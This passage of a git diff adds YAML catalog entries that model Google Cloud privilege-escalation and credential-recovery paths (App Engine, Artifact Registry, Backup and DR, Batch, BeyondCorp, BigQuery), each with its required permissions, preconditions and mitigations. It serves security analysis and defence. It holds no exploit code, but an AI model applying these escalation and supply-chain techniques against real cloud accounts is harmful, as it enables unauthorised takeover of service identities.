the project on which it holds iam.serviceAccounts.actAs, + including the App Engine default service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - action: appengine.versions.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as App Engine runtime SA in {project} + conditions: + - id: app_exists + description: An App Engine application must already exist in the project. + - id: deploy_prereqs + description: The effective deploy permission set varies (Google recommends App Engine Deployer, Service Account + User, Cloud Build Editor and Storage Object Admin); read and operation-polling permissions used by the CLI + may be avoidable. + - id: legacy_default_sa_actas_exception + description: In legacy-affected organizations the auto-created appspot default SA can be deployed as without + actAs until constraints/appengine.enforceServiceAccountActAsCheck is enforced; this entry conservatively still + requires actAs. + - id: version_sa_artifact_registry + description: The version's SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts + for flexible) or the deployment never reaches execution. + - id: source_staging + description: gcloud source deployment additionally needs Storage object staging and Cloud Build creation; direct + Admin API with an already deployable version artifact does not universally require those caller permissions. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs, remove roles/editor from the App Engine default SA and restrict + roles/appengine.deployer. + references: + - https://cloud.google.com/appengine/docs/standard/configure-service-accounts + notes: A no-promote version is reachable without moving production traffic. Also covers replacing a named version + and environment-variable startup injection in app.yaml. The SA must be in the App Engine application's project. +- id: gcp-appengine-instances-enabledebug + provider: gcp + service: appengine + title: SSH into an App Engine flexible instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#ssh-into-a-flexible-environment-instance-through-debug-mode-or-os-login + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of App Engine flexible versions on which + it holds appengine.instances.enableDebug, or OS Login plus actAs on that service account. + requires: + any_of: + - - action: appengine.instances.enableDebug + resource: '{target.host_resource}' + - - action: compute.instances.osLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: compute.instances.osAdminLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: appengine_version + scope: same_project + aggregate_as: SAs of App Engine flexible versions the source can debug + conditions: + - id: flexible_only + description: Only App Engine flexible instances support SSH debug; standard environment versions are not reachable. + - id: ssh_reachability + description: The instance VM must be reachable over SSH from the source (external IP, or IAP TCP forwarding + which adds iap.tunnelInstances.accessViaIAP and a firewall path). + - id: os_login_scope + description: The OS Login branch needs the role at project level for the CLI (or compute.projects.get); external-organization + principals also need compute.osLoginExternalUser. + - id: os_login_debug_state + description: For either OS Login branch the flexible instance must already have debug mode enabled or the source + must also hold appengine.instances.enableDebug on that instance; a usable SSH path is still required. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/appengine.appAdmin and avoid privileged SAs on flexible versions. + references: + - https://docs.cloud.google.com/appengine/docs/flexible/debugging-an-instance + - https://docs.cloud.google.com/compute/docs/oslogin/set-up-oslogin + notes: The debug branch does not require actAs or Compute setMetadata (the debug request carries the SSH key). + The OS Login branch requires actAs because the VM has an attached SA. OS Login resource "*" is project-level; + the VM is the version's flexible instance. +- id: gcp-appengine-versions-create-legacy-default-sa-no-actas + provider: gcp + service: appengine + title: Deploy an App Engine version as the legacy default service account without actAs + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the auto-created App Engine default service account of projects + where it can deploy versions, in legacy-affected organizations that do not enforce the App Engine actAs check. + requires: + all_of: + - action: appengine.versions.create + resource: '*' + target: + kind: gcp_service_account + selector: + target_id_glob: + - '*@appspot.gserviceaccount.com' + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: App Engine default SA deployable without actAs in {project} + conditions: + - id: legacy_affected_org + description: Only legacy-affected organizations have the exemption; where constraints/appengine.enforceServiceAccountActAsCheck + is not visible the check is already enforced and this edge does not exist. + - id: app_exists + description: An App Engine application must already exist and the version must run as the app-level default + SA (no per-version SA and no user-managed app default). + - id: version_sa_artifact_registry + description: The default SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts + for flexible) or the deployment never reaches execution. + - id: source_staging + description: gcloud source deployment additionally needs Storage object staging and Cloud Build creation; direct + Admin API with an already deployable version artifact does not universally require those caller permissions. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + - id: org_policy_constraint + constraint: appengine.enforceServiceAccountActAsCheck + confidence: conditional + severity: critical + mitigation: Enforce constraints/appengine.enforceServiceAccountActAsCheck and remove roles/editor from the App + Engine default SA. + references: + - https://docs.cloud.google.com/iam/docs/service-accounts-actas + notes: Complements gcp-appengine-versions-create-actas (which requires actAs) for the documented legacy exception; + it does not cover per-version or user-managed default SAs. +- id: gcp-appengine-version-env-credential + provider: gcp + service: appengine + title: Read literal secrets from App Engine version environment + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-secrets-and-deployment-locations-from-version-configuration + source_revision: 0b36331 + summary: Credential represented by an env variable; emit only for the exact verified source, resource and target. + requires: + all_of: + - action: appengine.versions.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-appengine-version-env-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Read literal secrets from App Engine version environment + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + version and view=FULL; alternative is appengine.versions.list on known service. Edge only if a valid reusable + credential is present and its authority can be identified. + confidence: conditional + severity: high + mitigation: Limit appengine.versions.get to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-secrets-and-deployment-locations-from-version-configuration +- id: gcp-appengine-source-credential + provider: gcp + service: appengine + title: Recover hard-coded credentials from retained App Engine deployment source + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-source-code + source_revision: 0b36331 + summary: Identity authenticated by a valid embedded key or password; emit only for the exact verified source, + resource and target. + requires: + all_of: + - action: appengine.versions.get + resource: '*' + - action: storage.objects.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-appengine-source-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover hard-coded credentials from retained App Engine deployment source + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + extant deployment sourceUrl; alternatively versions.list; Console Code Viewer is a separate non-scriptable + path needing roles/appengine.codeViewer. Edge only after credential content and target verified. + confidence: conditional + severity: high + mitigation: Limit appengine.versions.get to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-source-code +- id: gcp-appengine-memcache-session + provider: gcp + service: appengine + title: Recover cached session token from Memcache + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-or-poison-app-engine-memcache-data + source_revision: 0b36331 + summary: Application session represented by cached token; emit only for the exact verified source, resource and + target. + requires: + all_of: + - action: appengine.memcache.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-appengine-memcache-session + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover cached session token from Memcache + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + cache key and type; list/getKey may be needed to discover it; token must be present and usable. + confidence: conditional + severity: high + mitigation: Limit appengine.memcache.get to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-or-poison-app-engine-memcache-data +- id: gcp-appengine-log-credential + provider: gcp + service: appengine + title: Recover credentials printed in App Engine logs + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + source_revision: 0b36331 + summary: Identity authenticated by a valid token or password printed in logs; emit only for the exact verified + source, resource and target. + requires: + all_of: + - action: logging.logEntries.list + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-appengine-log-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover credentials printed in App Engine logs + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Log entry + actually contains credential; optional logging.privateLogEntries.list for private entries or logging.views.access + for a specific view. No edge from permission alone. + confidence: conditional + severity: high + mitigation: Limit logging.logEntries.list to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist diff --git a/src/privilege-escalation-paths-research/gcp/artifactregistry.yaml b/src/privilege-escalation-paths-research/gcp/artifactregistry.yaml new file mode 100644 index 0000000000..158814f235 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/artifactregistry.yaml @@ -0,0 +1,272 @@ +# GCP Artifact Registry privilege escalation techniques (supply chain into workloads that pull artifacts). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-artifact-registry-privesc.md (rev 171e422); gcr.io squat and dependency confusion now live on gcp-persistence/gcp-artifact-registry-persistence.md. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: artifact_consumer -> run-as SA of any workload (GKE node/KSA-bound GSA, Cloud Run, Cloud Build, VM, +# Batch, Vertex, ...) whose image/package reference resolves to the repository in "{target.artifact_arn}". The consumer +# mapping must come from collected workload specs; pinned-digest references are not affected. + +- id: gcp-artifactregistry-upload-artifacts + provider: gcp + service: artifactregistry + title: Push a malicious image or package version consumed by a privileged workload + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriesuploadartifacts--poison-an-artifact-consumed-by-a-privileged-workload + source_revision: 171e422 + summary: The source can obtain the privileges of the run-as service accounts of workloads that pull mutable tags or unpinned versions from repositories where it holds artifactregistry.repositories.uploadArtifacts. + requires: + all_of: + - action: artifactregistry.repositories.uploadArtifacts + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: artifact_consumer + scope: any + aggregate_as: "Run-as SAs of workloads consuming writable Artifact Registry repositories" + conditions: + - id: mutable_reference + description: The consumer must reference a tag (Docker image re-tagged on push) or an unpinned package version range; digest-pinned references are unaffected. Package formats such as Python reject re-uploading an existing version. + - id: redeploy + description: Takes effect only when the consumer next pulls (new revision, scale-out, node recreation, build run). + - id: immutable_tags + description: Repositories with immutable tags enabled reject re-tagging an existing tag. + - id: binary_authorization + description: Binary Authorization / signature verification on the consumer blocks unsigned images. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/artifactregistry.writer, enable immutable tags, pin consumers to digests and enforce Binary Authorization. + references: + - https://cloud.google.com/iam/docs/roles-permissions/artifactregistry + notes: Replacing a stored image does NOT change already-deployed Cloud Functions or App Engine versions (HackTricks); those consumers should not be mapped. + +- id: gcp-artifactregistry-tags-update + provider: gcp + service: artifactregistry + title: Repoint a mutable tag to an attacker digest already in the package + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistrytagsupdate--repoint-a-mutable-tag-to-another-stored-version + source_revision: 171e422 + summary: The source can obtain the privileges of the run-as service accounts of workloads that pull mutable tags from repositories where it holds artifactregistry.tags.update and an attacker digest exists in the package. + requires: + all_of: + - action: artifactregistry.tags.update + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: artifact_consumer + scope: any + aggregate_as: "Run-as SAs of workloads consuming writable Artifact Registry repositories" + conditions: + - id: digest_present + description: A tag can only point to a version within the same package; an attacker-controlled or older vulnerable version must already be stored there (an attacker version normally requires uploadArtifacts). + - id: immutable_tags + description: Repositories with immutable tags enabled reject the repoint. + - id: redeploy + description: Takes effect only when the consumer next pulls the tag. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Enable immutable tags and pin consumers to digests. + +- id: gcp-artifactregistry-repositories-setiampolicy + provider: gcp + service: artifactregistry + title: Self-grant writer on a repository through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can obtain the privileges of the run-as service accounts of workloads consuming repositories whose IAM policy it controls. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: artifact_consumer + scope: any + aggregate_as: "Run-as SAs of workloads consuming Artifact Registry repositories whose IAM the source controls" + conditions: + - id: followup_upload + description: The self-granted writer role is then used as in gcp-artifactregistry-upload-artifacts, with the same mutable-reference and redeploy conditions. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy (roles/artifactregistry.admin, roles/owner). + notes: Public exposure through allUsers bindings is a data-exposure outcome and not modelled. + +- id: gcp-artifactregistry-gcrio-namespace-squat + provider: gcp + service: artifactregistry + title: Create the missing gcr.io-named repository to claim a redirected legacy namespace + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#squat-the-legacy-gcrio-namespace-as-a-permanent-backdoor---artifactregistryrepositoriescreate + source_revision: 171e422 + summary: The source can obtain the privileges of run-as service accounts of workloads pulling mutable gcr.io references + only when it can both create the missing host-named repository and push a malicious artifact into it. + requires: + all_of: + - action: artifactregistry.repositories.create + resource: '*' + - action: artifactregistry.repositories.uploadArtifacts + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: artifact_consumer + gcp_sa_in_scope_of_permission: true + gcp_challenge_fact: gcp-artifactregistry-gcrio-namespace-squat + scope: same_project + aggregate_as: Run-as SAs of workloads pulling gcr.io references of {project} + conditions: + - id: redirection_enabled + description: The project must have gcr.io redirection to Artifact Registry enabled and the host-named repository + (gcr.io, us.gcr.io, eu.gcr.io, asia.gcr.io) must not exist yet. + - id: legacy_consumers + description: Workloads must still reference gcr.io//... by tag and repull after the squat. + - id: same_new_repository_push + description: The uploadArtifacts grant must cover the specific newly created gcr.io-named repository; absent exact + same-repository evidence remains UNKNOWN. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Pre-create migrated gcr.io repositories and restrict both artifactregistry.repositories.create and uploadArtifacts. + notes: roles/artifactregistry.createOnPushWriter can create the repository implicitly on first push. +- id: gcp-artifactregistry-repositories-update-dependency-confusion + provider: gcp + service: artifactregistry + title: Reconfigure a virtual repository's upstreams to enable dependency confusion + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#dependency-confusion + source_revision: 171e422 + summary: The source can obtain the privileges of the run-as service accounts of workloads that install packages through virtual repositories where it holds artifactregistry.repositories.update. + requires: + all_of: + - action: artifactregistry.repositories.update + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: artifact_consumer + scope: any + aggregate_as: "Run-as SAs of package consumers of updatable virtual repositories" + conditions: + - id: public_publish + description: Requires publishing a higher package version under the internal package name in the public registry the remote upstream proxies. + - id: install_at_build + description: The consumer must install unpinned versions through the virtual repository (typically CI/CD builds) after the change. + - id: immutable_tags_toggle + description: The same permission disables immutable tags, enabling gcp-artifactregistry-tags-update on Docker repositories. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict artifactregistry.repositories.update (roles/artifactregistry.admin, roles/editor) and pin package versions with hashes. + notes: HackTricks frames this as a persistence method; the escalation depends on a consumer installing after the change. The variant of a remote repository pointed at an attacker-controlled upstream URL (persistence page) additionally needs artifactregistry.repositories.create and only matters once a consumed virtual repository lists it as an upstream, which is this same update permission. +- id: gcp-artifactregistry-download-credential + provider: gcp + service: artifactregistry + title: Recover credentials embedded in Artifact Registry package or image + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + source_revision: 0b36331 + summary: Identity authenticated by a valid embedded secret; emit only for the exact verified source, resource + and target. + requires: + all_of: + - action: artifactregistry.repositories.downloadArtifacts + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-artifactregistry-download-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover credentials embedded in Artifact Registry package or image + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + artifact coordinate and repository access; inspect bytes and verify secret-to-principal binding. No automatic + consumer SA edge. + confidence: conditional + severity: high + mitigation: Limit artifactregistry.repositories.downloadArtifacts to trusted operators and monitor the target-specific + use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data +- id: gcp-artifactregistry-export-credential + provider: gcp + service: artifactregistry + title: Export Artifact Registry artifact to storage + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + source_revision: 0b36331 + summary: Usable credential embedded in exported artifact; emit only for the exact verified source, resource and + target. + requires: + all_of: + - action: artifactregistry.repositories.exportArtifacts + resource: '*' + - action: storage.objects.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-artifactregistry-export-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Export Artifact Registry artifact to storage + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + artifact; accepted destination writable by backend and readable by attacker; artifact contains valid credential + mapped to principal. + confidence: conditional + severity: high + mitigation: Limit artifactregistry.repositories.exportArtifacts to trusted operators and monitor the target-specific + use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + +- id: gcp-create-attacker-upstream-remote-repository-consumed-directly + provider: gcp + service: artifact-registry + title: Create attacker-upstream remote repository consumed directly + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#remote-repository-pointing-at-an-attacker-controlled-upstream-url + source_revision: 0b36331 + summary: Code execution as artifact-consuming workload identity. + requires: + all_of: + - action: artifactregistry.repositories.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-create-attacker-upstream-remote-repository-consumed-directly + attached_to_service: artifact_consumer + scope: any + aggregate_as: gcp_service_account + conditions: + - id: exact_evidence + description: Draft only. Emit UNKNOWN unless every target, permission, and stated precondition is supported by collected + evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review affected resource state. + notes: Unenabled draft. The bounded authority kind and gcp_challenge_fact are schema-valid placeholders; implement + the feature before activation. + references: + - https://cloud.google.com/artifact-registry/docs/repositories/virtual-overview diff --git a/src/privilege-escalation-paths-research/gcp/backupdr.yaml b/src/privilege-escalation-paths-research/gcp/backupdr.yaml new file mode 100644 index 0000000000..1c537e38d4 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/backupdr.yaml @@ -0,0 +1,131 @@ +# GCP backupdr privilege escalation techniques. +# Added by the 6fb9ac51fd completeness audit. + +- id: gcp-backupdr-restore-compute-vm-as-chosen-sa + provider: gcp + service: backupdr + title: Restore a vaulted Compute Engine backup as a new VM running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + source_revision: 6fb9ac51fd + summary: >- + Backup and DR RestoreBackup creates a new Compute Engine VM whose target project, service account, access scopes and + instance metadata (including startup scripts) are chosen by the caller, and the VM is created by the Backup and DR + service agent. A principal with restore authority over a backup and restore permission on the target project can + therefore obtain a VM running as a service account of that project with caller-controlled boot-time code. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: backupdr.bvbackups.restore + resource: "*" + - action: backupdr.compute.restoreFromBackupVault + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts attachable to VMs restored from Backup and DR vaults in {project}" + conditions: + - id: existing_backup + description: A completed Compute Engine backup must exist in a backup vault whose access restriction allows restoring into the target project. + - id: service_agent_role + description: The vault's Backup and DR service agent must hold roles/backupdr.computeEngineOperator (which can attach service accounts) in the target project. + - id: actas_enforcement + description: Google's restore documentation lists no Service Account User requirement for the caller; if the service does not check actAs on the caller, every service account the service agent can attach is reachable without it (wider than modelled). + - id: cross_project_vault + description: A backup held in a vault of another project is modelled only when the restore permissions also hold in the target SA's project. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: >- + Grant roles/backupdr.restoreUser and roles/backupdr.backupvaultAdmin only to backup operators, restrict vault access to + the source project, keep privileged service accounts out of restore-target projects, and alert on RestoreBackup calls + that set a service account, scopes or startup-script metadata. + references: + - https://docs.cloud.google.com/backup-disaster-recovery/docs/cloud-console/compute/compute-instance-restore + - https://docs.cloud.google.com/sdk/gcloud/reference/backup-dr/backups/restore/compute + notes: >- + The page frames this as data export; the identity gain comes from the documented service-account and metadata + inputs of RestoreBackup (alternative VM-creation path to gcp-compute-instances-create-actas that needs no + compute.instances.create on the caller). +- id: gcp-backupdr-autoprotection-disk-credential + provider: gcp + service: backupdr + title: Capture future VM disk credentials with Backup and DR auto-protection + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#continuously-capture-labelled-compute-resources-with-auto-protection + source_revision: 0b36331 + summary: Credential stored in a matching future disk backup; emit only for the exact verified source, resource + and target. + requires: + all_of: + - action: backupdr.autoProtectionPolicies.create + resource: '*' + - action: backupdr.backupPlans.useForComputeDisk + resource: '*' + - action: backupdr.autoProtectionBindings.create + resource: '*' + - action: backupdr.appliedAutoProtectionPolicies.authorize + resource: '*' + - action: backupdr.bvbackups.restore + resource: '*' + - action: backupdr.compute.restoreFromBackupVault + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-backupdr-autoprotection-disk-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Capture future VM disk credentials with Backup and DR auto-protection + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Compatible + vault/plan and label; reciprocal service-agent roles; backup completes; restore target allowed and readable; + credential exists in disk and remains usable. VM variant uses useForComputeInstance. + confidence: conditional + severity: high + mitigation: Limit backupdr.autoProtectionPolicies.create to trusted operators and monitor the target-specific + use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#continuously-capture-labelled-compute-resources-with-auto-protection +- id: gcp-backupdr-restored-disk-credential + provider: gcp + service: backupdr + title: Recover durable credentials stored on backed-up VM disks + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + source_revision: 0b36331 + summary: Identity authenticated by recovered disk credential; emit only for the exact verified source, resource + and target. + requires: + all_of: + - action: backupdr.bvbackups.restore + resource: '*' + - action: backupdr.compute.restoreFromBackupVault + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-backupdr-restored-disk-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover durable credentials stored on backed-up VM disks + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Completed + backup; vault restriction permits controlled target; target service agent role; attacker can inspect restored + disk; credential remains usable. + confidence: conditional + severity: high + mitigation: Limit backupdr.bvbackups.restore to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project diff --git a/src/privilege-escalation-paths-research/gcp/batch.yaml b/src/privilege-escalation-paths-research/gcp/batch.yaml new file mode 100644 index 0000000000..6c08d6ffcb --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/batch.yaml @@ -0,0 +1,40 @@ +# GCP Batch privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-batch-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-batch-jobs-create-actas + provider: gcp + service: batch + title: Create a Batch job whose VMs run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#submit-arbitrary-code-as-a-more-privileged-job-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: batch.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Batch job SA in {project}" + conditions: + - id: default_sa_needs_actas + description: Omitting the SA uses the Compute Engine default SA, and actAs on it is still required (enforced at submit). + - id: custom_sa_agent_roles + description: The job SA must itself hold batch.states.report (roles/batch.agentReporter), otherwise the job's VMs never report and the job fails; roles/logging.logWriter is only needed when logs go to Cloud Logging. + - id: access_scopes + description: The usable token follows the job's VM access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant iam.serviceAccounts.actAs only on dedicated low-privilege Batch SAs and remove roles/editor from the Compute Engine default SA. + references: + - https://cloud.google.com/batch/docs/create-run-job-custom-service-account + notes: Container runnables also reach the metadata server, so container isolation does not prevent the token use. diff --git a/src/privilege-escalation-paths-research/gcp/beyondcorp.yaml b/src/privilege-escalation-paths-research/gcp/beyondcorp.yaml new file mode 100644 index 0000000000..600e064743 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/beyondcorp.yaml @@ -0,0 +1,30 @@ + +- id: gcp-audit-s01-21-repoint-accessible-gateway-a + provider: gcp + service: beyondcorp + title: Repoint accessible gateway app to new internal HTTP(S) host + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + summary: The source can gain repoint accessible gateway app to new internal HTTP(S) host. A new private host is + reachable only when the caller already has app use, the existing upstream can route to it, and upstream authentication + permits access. + requires: + all_of: + - action: beyondcorp.sgApplications.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-21-repoint-accessible-gateway-a + scope: any + aggregate_as: private web target + conditions: + - id: exact_target_evidence + description: Exclusion calls this a network pivot; page documents new authority to reach a protected target + with existing upstream. Requires existing app user/discovery, reachable web host and upstream authentication. + Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc/#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream diff --git a/src/privilege-escalation-paths-research/gcp/bigquery.yaml b/src/privilege-escalation-paths-research/gcp/bigquery.yaml new file mode 100644 index 0000000000..6715073202 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/bigquery.yaml @@ -0,0 +1,275 @@ +# GCP BigQuery privilege escalation techniques (identity-yielding only; dataset/table/connection data access is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-bigquery-privesc.md (rev 171e422). +# attached_to_service: bigquery_spark_connection -> the service identity of an existing BigQuery Spark connection +# ("{target.host_resource}" = that connection); the Google-managed connection SA is not in the project SA inventory. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-bigquery-transfers-scheduled-query-actas + provider: gcp + service: bigquery + title: Create or update a Data Transfer Service scheduled query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytransfersupdate--iamserviceaccountsactas--scheduled-sql-as-a-service-account + source_revision: 171e422 + summary: The source can obtain the BigQuery privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: bigquery.datasets.get + resource: "*" + any_of: + - - action: bigquery.transfers.update + resource: "*" + - - action: bigquery.jobs.create + resource: "*" + - action: bigquery.transfers.get + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as BigQuery scheduled-query SA in {project}" + conditions: + - 